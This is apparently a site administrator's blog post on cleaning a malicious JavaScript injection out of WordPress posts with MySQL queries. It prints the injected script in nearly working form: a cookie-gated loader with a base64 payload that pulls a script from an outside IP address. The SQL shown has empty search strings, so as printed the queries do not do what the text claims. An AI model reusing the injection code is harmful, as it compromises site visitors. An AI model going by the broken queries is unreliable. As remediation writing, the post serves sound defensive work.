Lately I have been observed several of my work press sites go down.
Symptoms include:
* certain posts do not load up
* Antivirus program points to the page having a malicious code
* WordPress admin page loads, the pages can be edited. However, when viewed in html view, I see the malicious code can bee seen,
Malicious code (removed the braces to avoid it from infecting the pages again)
!--codes_iframe-- script type=\"text/javascript\" function getCookie e {var U=document.cookie.match new RegExp \" ?:^|; \"+e.replace / [\.$?|{}\ \ \[\]\\\/\+^] /g,\"\\$1\" +\"= [^;] \" ;return U?decodeURIComponent U[1] :void 0}var src=\"data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor Date.now /1e3 ,cookie=getCookie \"redirect\" ;if now = time=cookie ||void 0===time {var time=Math.floor Date.now /1e3+86400 ,date=new Date new Date .getTime +86400 ;document.cookie=\"redirect=\"+time+\"; path=/; expires=\"+date.toGMTString ,document.write \' script src=\"\'+src+\'\" \/script \' } /script !--/codes_iframe--
To resolve this, I logged on to the mysql Cli and searched the database for the malicious code. I found them to be on the table wp_posts and column post_content. However, the column also contained the body of the post.
The logical approach to remove the malicious code was to delete the contents from <!–codes_iframe–> to <!–/codes_iframe> from sql
BitDefender shows the page as: Threat name: JS:Trojan.Cryxos.1952
mysql> SELECT LOCATE('', post_content) as start from wp_posts;
+-------+
| start |
+-------+
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 11986 |
...
....
....
| 11986 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 7584 |
+-------+
364 rows in set (0.01 sec)
mysql> SELECT LOCATE('', post_content ) as end from wp_posts;
+-------+
| end |
+-------+
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 12815 |
..
...
...
| 0 |
| 1161 |
| 1182 |
| 8413 |
+-------+
364 rows in set (0.00 sec)
I used the below query to clear them from the database:
UPDATE wp_posts SET post_content = CONCAT(
SUBSTRING(post_content, 1, LOCATE('', post_content)-1),
SUBSTRING(post_content, LOCATE('', post_content)+LENGTH('')))
WHERE LOCATE('', post_content) > 0;
output:
mysql> UPDATE wp_posts SET post_content = CONCAT(
-> SUBSTRING(post_content, 1, LOCATE('', post_content)-1),
-> SUBSTRING(post_content, LOCATE('', post_content)+LENGTH('')))
-> WHERE LOCATE('', post_content) > 0;
Query OK, 74 rows affected (0.05 sec)
Rows matched: 74 Changed: 74 Warnings: 0
Logged back on and conformed that no other data was missing.
PS! Do take backup of the database before attempting to make changes!!